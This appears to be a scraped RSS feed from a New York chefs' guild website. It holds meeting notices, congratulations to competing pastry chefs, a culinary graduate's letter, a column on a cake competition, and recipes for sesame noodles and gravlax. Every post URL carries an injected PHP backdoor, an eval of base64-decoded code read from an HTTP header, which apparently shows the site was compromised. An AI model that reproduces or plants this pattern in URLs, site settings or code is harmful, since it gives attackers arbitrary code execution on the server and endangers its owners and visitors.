New York Guild of Chefs http://nyguildofchefs.org/nygc2009 Share Your Knowledge Wed, 01 Sep 2010 20:26:38 +0000 http://wordpress.org/?v=2.6 en New York Guild of Chefs September Meeting http://nyguildofchefs.org/nygc2009/2010/09/01/new-york-guild-of-chefs-september-meeting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://nyguildofchefs.org/nygc2009/2010/09/01/new-york-guild-of-chefs-september-meeting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 01 Sep 2010 20:26:38 +0000 admin http://nyguildofchefs.org/nygc2009/?p=589 “SEPTEMBER MEETING”

Demonstration featuring

SUGAR ARTIST GRANT RIPP

(Sugar Work Creations)

Two flavored edible works of art.

Can you say LOLLIPOPS?

Yummy!!

 

Viking Culinary Center

835 Franklin Ave.

Garden City, NY

 

 Tuesday, September 14th

 Board Meeting at 6:30 PM Sharp
Membership Meeting at 7:30 PM

         

For further information

contact us via phone at 631-780-6848

or email us at newyorkguildofchefs@nyguildofchefs.org

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“American as Apple Pie Scholarship Picnic”

Has been

 

CANCELLED

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Congratulations to

Chef Robert Ellinger

Winner of the Medal of the French Government

At the Salon of Culinary Arts of the

Societe Culinaire Philanthropique

]]> http://nyguildofchefs.org/nygc2009/2009/11/10/medal-of-the-french-government/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ To the Team of Chef Sal and Chef Biagio Settepani.. http://nyguildofchefs.org/nygc2009/2009/10/14/to-the-team-of-chef-sal-and-chef-biagio-settepani/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://nyguildofchefs.org/nygc2009/2009/10/14/to-the-team-of-chef-sal-and-chef-biagio-settepani/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 14 Oct 2009 18:53:35 +0000 admin http://nyguildofchefs.org/nygc2009/?p=417

Dear Chef. That was awesome. I was so proud of you and Chef Sal. Its the greatest to experience success with your family. There is nothing better then being part of Sal’s success. He has a great teacher and an even better dad. You bring family into baking. Please tell Sal WOW the piece is gorgeous. SOOO clean. Great job.

Needless to say I have been receiving emails all day below you will find a few I cut and paste for you. The whole crew is very excited for Sal and you! You both have a lot of new fans! 

Chef Mary Sydor..

 

I thought it was moving when they mentioned the fact that Chef Biagio was calling his son “Chef” and how important that title is to Chefs.  What an amazing piece - Congratulations! From: Klumpkin8

 

I saw the Team Settepani on Food Network tonight. They really did a wonderful job. The competition was very tough but they won. It was very touching to see father and son working together so smoothly. I enjoyed every minute of it. - Heloisa 

 

Watched the Food Network and was happy to see Sal and Biago….Win. What incredible work….so clear and beautiful. Beth Parvu

 

Dear Chefs Biagio & Sal, Congratulations on another amazing accomplishment. Your work is truly amazing. God bless you as you share your passion in the pastry world and inspire many. Sincerely, Theresa

 

I saw it at 3 am and had to keep myself from screaming I was so excited.  It was a beautiful piece.  There was such symmetry, between father and son, in the execution of it. Not only was it a beautiful piece to see but it was also beautiful to watch it in the making.   Congratulations to Chef Sal and Chef Biagio on a most excellent job.  Tuesday Jordan

 

Last night’s Challenge was so incredibly awesome!  Not only was the sugar piece so clean and impeccable, I was so taken up with the relationship of father and son.  I have observed this during our classes and am awed by the bond and respect shared.  That is the biggest gift of all and it is very inspiring.  Wonderful, wonderful people with extreme talents!  It is an honor to know them.  So exciting, congratulations!! Suzanne Powers

 

Hi Chef Mary, I watched the Food Network Challenge last night and it was a very good show. I especially like the team-up of Chef Biagio and his son Chef Sal. They showed not just their amazing talent but a very good example of professionalism and respect as a father-and-son team. Can you please extend my Congratulations to the both of them? Thank you, Carmina

 

Congrats & to Chef Sal & Chef Biagio, you went up against the best & did a fantastic job!!! That’s the way to do it - Kim Arnold

 

Congratulations to you and your all your family Chef Sal and Chef Biagio.  As a parent there is no better joy than to be able to share such a wonderful accomplishment with your child. Sal, your show piece was beautiful!!!  Congratulations - Jennifer Manganaro 

 

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I entered this salad as an entry in the “American as Apple” 2008 savory category. It is a nice light salad and is delicious. Enjoy!

 

American As Apple Pie entry

American As Apple Pie entry

COLD CHINESE-STYLE SESAME NOODLES WITH CUCUMBER

58g dark (Asian) sesame oil

 32g soy sauce

32g white-wine vinegar or rice vinegar (not seasoned)

6g sugar

6g salt, or to taste

1 g dried hot red pepper flakes

16 ounces angel hair pasta

1 seedless cucumber, cut lengthwise into thin spears and crosswise into thin slices

2 scallion, minced, or 1 tablespoon minced fresh coriander

1 tbl sesame seeds, toasted lightly and cooled

1lb medium shrimp

Black sesame seeds and thinly sliced red pepper to garnish

In a small bowl stir together oil, soy sauce, vinegar, sugar, salt, and red pepper flakes until sugar and salt are dissolved.

In a large saucepan of salted boiling water cook angel hair until tender and drain in a colander. Rinse noodles under cold water until cool and drain well.

Steam shrimp and season to taste. Chill.

In a large bowl toss noodles with sauce, cucumber, and scallion or coriander until combined well and divide between 2 plates. Sprinkle noodles with shrimp and sesame seeds.

 

]]> http://nyguildofchefs.org/nygc2009/2009/09/03/cold-chinese-style-sesame-noodle-with-cucumber/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 2009 American As Apple Pie Scholarship Picnic Bakeoff http://nyguildofchefs.org/nygc2009/2009/08/25/2009-american-as-apple-pie-scholarship-picnic-bakeoff/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://nyguildofchefs.org/nygc2009/2009/08/25/2009-american-as-apple-pie-scholarship-picnic-bakeoff/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 25 Aug 2009 20:43:55 +0000 admin http://nyguildofchefs.org/nygc2009/?p=336 Our annual Scholarship Fund “American as Apple Pie” Picnic was held at Manorhaven Park in Port Washington. One of the highlights of the day is the Cookoff/Bakeoff Contest which includes the Cake Decorating Contest. It also included our 2nd annual cream puff eating contest. One came to capture the title that elluded him last year.

The 2009 cake decorating theme was “Carnivale/Mardi Gras  

]]> http://nyguildofchefs.org/nygc2009/2009/08/25/2009-american-as-apple-pie-scholarship-picnic-bakeoff/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Tracking Monica - Notter School of Pastry Arts (Graduation) http://nyguildofchefs.org/nygc2009/2009/07/16/tracking-monica-notter-school-of-pastry-arts-graduation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://nyguildofchefs.org/nygc2009/2009/07/16/tracking-monica-notter-school-of-pastry-arts-graduation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 16 Jul 2009 22:00:27 +0000 admin http://nyguildofchefs.org/nygc2009/?p=323  Congratulations to Monica McEvoy who graduated from the Notter School of Pastry Arts on June 26, 2009. 

Notter School of Pastry Arts graduation June 26, 2009

Notter School of Pastry Arts graduation June 26, 2009

Monica writes:
I am writing this email as a proud graduate of the Notter School of Pastry Arts! I graduated this past Friday (June 26, 2009)  and could not be more excited to begin my career in the pastry world! The past six months have been so amazing and I want to thank everyone back home in New York who has been supporting me and encouraging me while I have been away at school. It was a very scary decision for me to leave corporate life and to make a full career change by starting completely over, but I am happy to say that I am 100% certain that I made the right choice.
 
Chef Mary – Thank you SO much for harassing me to consider attending this school. I had my mind made up to attend a different school but you caught me at the 11th hour and before I knew it, my bags were packed and I was moving down to Orlando! I have enjoyed every second of school and studying under Chef Notter…..has been an experience that I am having trouble trying to find words to describe! “Life changing” is the best I can come up with. If I had missed out on this………I really would have missed something very special.
 
   

Class Speaker

Class Speaker

 

 

Graduation week was sad but was very exciting. We were broken up into groups for our final projects and we all baked desserts that would be displayed and consumed at our graduation reception with our families. I was on the classical cakes team and we made 2 different entremets, an Engadine Tort (a caramel-Walnut Pie) and cheesecake Lollipops (those were a hit!). The graduation ceremony was held at a nearby hotel and I was privileged with the task of being our class’s student speaker. It was such an honor and thankfully I only lost my place twice! The ceremony was beautiful and it made it particularly special that Chef Notter and Beverly (the President of the School) knew each one of the graduates personally. That is something that I probably would not have gotten at a bigger school! We went back to the school for the reception where the kitchens were all decorated and our desserts were all laid out. It was a huge success!
The Student and her Chef.

The Student and her Chef.

 I am currently working with Chef Notter on applying for jobs and hopefully in a few weeks I will be able to send some more good news back home to you all! In the meantime however, I am actually going to be working at the school, which I am very excited about, because I miss it already! So I don’t have any immediate plans on coming back to NY right now, but I promise to keep you posted!

 
Thanks again for all your support!
 
Monica
CONGRATULATIONS MONICA!!
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DETERMINATION

 

 

Hello Guild of Chefers.  I had just finished a national A.C.F. competition here on Long Island.  I received two bronze medals in the hot and cold desert categories and a letter of participation for my chocolate sculpture.  Grant Ripp won a bronze medal for his blown sugar swan cake.

 

 

When I was setting up my chocolate sculpture with my assistant Chris, at the table next to me was Renee Belgrado.  Renee is the Sous Chef with Fresh Flavors Caterers and a Guild of Chefs Board Member.  Renee was setting up a professionally decorated wedding cake.  The wedding cake had many different techniques such as piping, lacework, fondant work and imprinting.  The cascading rose’s showed not only complementary colors, but hundreds of petals ornately constructed.

 

 

I have watched Renee grow from working in an insurance office to a professional chef.  Renee attended the Culinary Academy of Long Island, a school specializing in change of career students such as Renee; under the tutelage of Chef Mary Sydor, whom I consider to be the mother of motivation. (Mary’s story will be a subject in a future “In My View” article.)

I have been competing in pastry competitions for some thirty years. These competitions are not for everyone.  You have to be pretty tough to keep fighting and be able to take some body shots.

 

 

Renee Belgrado showed me what blood and guts determination looks like.  Renee arrived at Barry Technical School in Hicksville (where the competition was held) probably around 6:30am to setup her wedding cake.  Then she drove back out East to work a catering event.

 

 

Renee was not there during the awards ceremony to hear she won Best of Show and a National Silver Medal.  I know chefs who have been competing for years who never won any medals, yet silver.  This is a big deal. Renee has proved to the world that she has arrived and is a force to be reckoned with.  Renee beat me and I am no spring chicken.  My sincere congratulations go out to you Renee and I consider you a true professional. 

 

 

Robert Ellinger

]]> http://nyguildofchefs.org/nygc2009/2009/04/28/in-my-view/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ What’s Cooking - Gravlax on a Crispy Baguette http://nyguildofchefs.org/nygc2009/2009/04/27/whats-cooking-gravlax-on-a-crispy-baguette/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://nyguildofchefs.org/nygc2009/2009/04/27/whats-cooking-gravlax-on-a-crispy-baguette/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 27 Apr 2009 22:58:32 +0000 admin http://nyguildofchefs.org/nygc2009/?p=211
History of Gravlax
Gravlax (pronounced “grov-lox”) is from the Swedish name for this dish. Norwegians call it gravlaks and the Danish refer to it as Gravad Laks. It means “buried salmon” and the name refers to the traditional method of preparation for this food: fresh salmon was heavy salted and buried in dry sand to ferment and cure. 
This recipe was presented by Chef Vincent A.  Razzano, CEC, as part of the Fall Harvest Chef Series. Click on link for recipe.  gravlax-on-a-crispy-baguette 
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Renee Belgrado took BEST OF SHOW and a Silver Medal in an ACF cake competition. This was a competition where you bring your cake in. We are so proud of you Renee. You have come so far. All that misen plas it again paid off…

 

To everyone reading this, I (Chef Mary) expect all my cake decorators to join the Guild table at the Philanthropique show and enter a cake! I will keep you posted.

 

 

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